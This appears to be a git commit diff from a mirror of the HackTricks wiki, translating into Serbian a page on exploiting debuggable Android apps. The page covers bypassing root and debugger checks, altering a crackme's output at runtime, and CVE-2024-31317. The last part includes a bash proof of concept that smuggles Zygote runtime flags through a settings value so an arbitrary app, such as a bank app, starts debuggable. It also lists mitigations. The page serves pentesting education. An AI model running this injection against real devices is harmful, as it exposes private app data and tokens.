mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/exploiting-a-d
This commit is contained in:
parent
1fa0d1984e
commit
d20e7a8adb
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# **Obilaženje root i debagovanja provere**
|
||||
# **Obilaženje provere root i debagovanja**
|
||||
|
||||
Ovaj deo posta je sažetak iz posta [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
|
||||
@ -12,34 +12,34 @@ Ovaj deo posta je sažetak iz posta [**https://medium.com/@shubhamsonani/hacking
|
||||
|
||||
Sadržaj zasnovan na https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||||
|
||||
1. **Decompile APK:**
|
||||
1. **Decompile the APK:**
|
||||
|
||||
- Iskoristite APK-GUI alat za dekompilaciju APK-a.
|
||||
- U _android-manifest_ datoteci, dodajte `android:debuggable=true` da omogućite režim debagovanja.
|
||||
- U _android-manifest_ datoteci, dodajte `android:debuggable="true"` da omogućite režim debagovanja.
|
||||
- Ponovo kompajlirajte, potpišite i zipalign modifikovanu aplikaciju.
|
||||
|
||||
2. **Instalirajte modifikovanu aplikaciju:**
|
||||
|
||||
- Koristite komandu: `adb install <application_name>`.
|
||||
|
||||
3. **Preuzmite naziv paketa:**
|
||||
3. **Preuzmite ime paketa:**
|
||||
|
||||
- Izvršite `adb shell pm list packages –3` da biste naveli aplikacije trećih strana i pronašli naziv paketa.
|
||||
- Izvršite `adb shell pm list packages –3` da biste naveli aplikacije trećih strana i pronašli ime paketa.
|
||||
|
||||
4. **Postavite aplikaciju da čeka na vezu debagera:**
|
||||
|
||||
- Komanda: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Napomena:** Ova komanda mora biti pokrenuta svaki put pre pokretanja aplikacije kako bi se osiguralo da čeka na debager.
|
||||
- Za trajnost, koristite `adb shell am setup-debug-app –w -–persistent <package_name>`.
|
||||
- Za trajnost, koristite `adb shell am setup-debug-app –w ––persistent <package_name>`.
|
||||
- Da biste uklonili sve oznake, koristite `adb shell am clear-debug-app <package_name>`.
|
||||
|
||||
5. **Pripremite se za debagovanje u Android Studiju:**
|
||||
|
||||
- Navigirajte u Android Studiju do _File -> Open Profile or APK_.
|
||||
- Idite u Android Studio na _File -> Open Profile or APK_.
|
||||
- Otvorite rekompajlirani APK.
|
||||
|
||||
6. **Postavite prekidne tačke u ključnim Java datotekama:**
|
||||
- Postavite prekidne tačke u `MainActivity.java` (specifično u `onCreate` metodi), `b.java`, i `ContextWrapper.java`.
|
||||
- Postavite prekidne tačke u `MainActivity.java` (specifično u metodi `onCreate`), `b.java`, i `ContextWrapper.java`.
|
||||
|
||||
### **Obilaženje provera**
|
||||
|
||||
@ -48,26 +48,26 @@ Aplikacija će u određenim trenucima proveravati da li je debagovana i takođe
|
||||
Za proveru debagovanja:
|
||||
|
||||
1. **Modifikujte postavke oznaka:**
|
||||
- U sekciji varijabli konzole debagera, navigirajte do: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||
- U sekciji varijabli konzole debagera, idite na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||
- **Napomena:** Binarna reprezentacija `flags = 814267974` je `11000011100111011110`, što ukazuje da je "Flag_debuggable" aktivan.
|
||||
|
||||

|
||||
|
||||
Ovi koraci zajedno osiguravaju da aplikacija može biti debagovana i da se određene sigurnosne provere mogu obiti korišćenjem debagera, olakšavajući dublju analizu ili modifikaciju ponašanja aplikacije.
|
||||
Ovi koraci zajedno osiguravaju da aplikacija može biti debagovana i da se određene sigurnosne provere mogu obilaženjem debagera, olakšavajući dublju analizu ili modifikaciju ponašanja aplikacije.
|
||||
|
||||
Korak 2 uključuje promenu vrednosti oznake na 814267972, koja se u binarnom obliku predstavlja kao 110000101101000000100010100.
|
||||
Korak 2 uključuje promenu vrednosti oznake na 814267972, koja je predstavljena u binarnom obliku kao 110000101101000000100010100.
|
||||
|
||||
# **Eksploatacija ranjivosti**
|
||||
|
||||
Demonstracija je pružena korišćenjem ranjive aplikacije koja sadrži dugme i textview. U početku, aplikacija prikazuje "Crack Me". Cilj je promeniti poruku sa "Try Again" na "Hacked" u toku izvršavanja, bez modifikacije izvornog koda.
|
||||
|
||||
## **Provera ranjivosti**
|
||||
## **Proveravanje ranjivosti**
|
||||
|
||||
- Aplikacija je dekompilirana korišćenjem `apktool` da bi se pristupilo `AndroidManifest.xml` datoteci.
|
||||
- Prisutnost `android_debuggable="true"` u AndroidManifest.xml ukazuje da je aplikacija debagovana i podložna eksploataciji.
|
||||
- Vredno je napomenuti da se `apktool` koristi isključivo za proveru statusa debagovanja bez modifikacije bilo kog koda.
|
||||
|
||||
## **Priprema postavke**
|
||||
## **Priprema postavki**
|
||||
|
||||
- Proces je uključivao pokretanje emulatora, instaliranje ranjive aplikacije i korišćenje `adb jdwp` za identifikaciju Dalvik VM portova koji slušaju.
|
||||
- JDWP (Java Debug Wire Protocol) omogućava debagovanje aplikacije koja se izvršava u VM-u izlaganjem jedinstvenog porta.
|
||||
@ -77,15 +77,51 @@ Demonstracija je pružena korišćenjem ranjive aplikacije koja sadrži dugme i
|
||||
|
||||
- Eksploatacija je izvršena postavljanjem prekidnih tačaka i kontrolisanjem toka aplikacije.
|
||||
- Komande poput `classes` i `methods <class_name>` korišćene su za otkrivanje strukture aplikacije.
|
||||
- Prekidna tačka je postavljena u `onClick` metodi, a njeno izvršavanje je kontrolisano.
|
||||
- Prekidna tačka je postavljena u metodi `onClick`, a njeno izvršavanje je kontrolisano.
|
||||
- Komande `locals`, `next`, i `set` korišćene su za inspekciju i modifikaciju lokalnih varijabli, posebno menjajući poruku "Try Again" u "Hacked".
|
||||
- Modifikovani kod je izvršen korišćenjem `run` komande, uspešno menjajući izlaz aplikacije u realnom vremenu.
|
||||
- Modifikovani kod je izvršen korišćenjem komande `run`, uspešno menjajući izlaz aplikacije u realnom vremenu.
|
||||
|
||||
Ovaj primer je demonstrirao kako se ponašanje debagovane aplikacije može manipulisati, ističući potencijal za složenije eksploate poput dobijanja shell pristupa na uređaju u kontekstu aplikacije.
|
||||
|
||||
---
|
||||
|
||||
# 2024 – Pretvaranje **bilo koje** aplikacije u debagovani proces (CVE-2024-31317)
|
||||
|
||||
Čak i ako ciljani APK _nije_ isporučen sa oznakom `android:debuggable`, nedavna istraživanja su pokazala da je moguće prisiliti **arbitrarne aplikacije** da se pokrenu sa `DEBUG_ENABLE_JDWP` runtime oznakom zloupotrebom načina na koji Zygote analizira argumente komandne linije.
|
||||
|
||||
* **Ranjivost:** Nepravilna validacija `--runtime-flags` dostavljenih putem Zygote-ovog komandnog soketa omogućava napadaču koji može da dođe do `system_server` (na primer, putem privilegovanog `adb` shell-a koji ima `WRITE_SECURE_SETTINGS` dozvolu) da injektuje dodatne parametre. Kada se kreirana komanda ponovo reprodukuje od strane `system_server`, žrtvinska aplikacija se fork-uje kao _debuggable_ i sa JDWP nitima koje slušaju. Problem se prati kao **CVE-2024-31317** i rešen je u junskom 2024 Android Security Bulletin-u.
|
||||
* **Uticaj:** Potpuni pristup za čitanje/pisanje privatnom direktorijumu podataka **bilo koje** aplikacije (uključujući privilegovane kao što je `com.android.settings`), krađa tokena, MDM obilaženje, i u mnogim slučajevima direktan put do eskalacije privilegija zloupotrebom izvezenih IPC krajnjih tačaka sada debagovanog procesa.
|
||||
* **Zahvaćene verzije:** Android 9 do 14 pre junskog 2024 nivoa zakrpe.
|
||||
|
||||
## Brza PoC
|
||||
```bash
|
||||
# Requires: adb shell (device must be <2024-06-01 patch-level)
|
||||
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
|
||||
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
|
||||
|
||||
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
|
||||
adb shell monkey -p com.victim.bank 1
|
||||
|
||||
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
|
||||
adb jdwp # obtain the PID
|
||||
adb forward tcp:8700 jdwp:<pid>
|
||||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
```
|
||||
> Kreirana vrednost u koraku 1 prekida parser iz “brze staze” i dodaje drugu sintetičku komandu gde je `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) prihvaćena kao da je bila dostavljena od strane okvira. Kada se aplikacija pokrene, otvara se JDWP soket i redovne dinamičke-debug trikove (zamena metoda, patchovanje varijabli, live Frida injekcija, itd.) su mogući **bez modifikovanja APK-a ili slike za pokretanje uređaja**.
|
||||
|
||||
## Detekcija i ublažavanje
|
||||
|
||||
* Patch na **2024-06-01** (ili kasnije) nivo bezbednosti – Google je ojačao `ZygoteCommandBuffer` tako da se naredbe ne mogu krijumčariti na ovaj način.
|
||||
* Ograničiti `WRITE_SECURE_SETTINGS` / `shell` pristup na proizvodnim uređajima. Eksploatacija zahteva ovu dozvolu, koja se obično drži samo od strane ADB ili aplikacija sa privilegijama OEM-a.
|
||||
* Na EMM/MDM-u upravljanim flotama, primeniti `ro.debuggable=0` i odbiti shell putem `adb disable-verifier`.
|
||||
|
||||
---
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
|
||||
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user